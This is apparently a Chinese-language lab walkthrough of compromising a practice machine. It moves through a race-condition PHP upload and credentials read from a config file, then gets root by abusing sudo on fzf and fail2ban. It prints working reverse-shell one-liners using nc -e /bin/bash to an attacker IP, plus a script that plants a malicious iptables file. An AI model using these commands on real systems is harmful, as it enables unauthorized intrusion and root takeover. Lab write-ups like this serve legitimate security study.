-
端口
-
访问 80 端口
文件上传功能,上传php文件
-
目录扫描
访问 /uploads 提示 403 ,但是可以访问到上传的文件
-
再次上传文件
发现延迟了3s,猜测是等待了3s后对文件变更名字,可以尝试在这3s内不断访问该文件
-
创建脚本,并上传反弹shell
#!/bin/bash while true do curl "http://192.168.0.139/uploads/shell.php" done
成功反弹
-
在 /opt/gancio 目录下存在 config.json ,其中包含数据库的账号密码
-
连接数据库
得到两个密码hash,爆破得到密码 genesis
用户信息
-
切换到connor用户,执行
sudo -l
把 fzf 文件下载到本地分析
访问 https://github.com/junegunn/fzf/ ,可以得知
fzf
是一个命令行模糊查找器_fzf_comprun()
函数可以执行命令sudo -u john /usr/bin/fzf --preview 'nc 192.168.0.128 4445 -e /bin/bash'
-
继续执行
sudo -l
**Fail2Ban **是一个入侵检测系统框架,它可以保护电脑服务器免受暴力破解攻击。
创建防火墙规则
echo "nc 192.168.0.128 4447 -e /bin/bash" > /tmp/iptables chmod +x iptables
修改fail2ban的配置文件 /etc/fail2ban/action.d/iptables-common.conf
重新启动 fail2ban
sudo -u root /usr/bin/systemctl restart fail2ban
-
爆破 ssh ,本地监听 4447 端口
靶机渗透日记
最新推荐文章于 2024-08-16 15:15:00 发布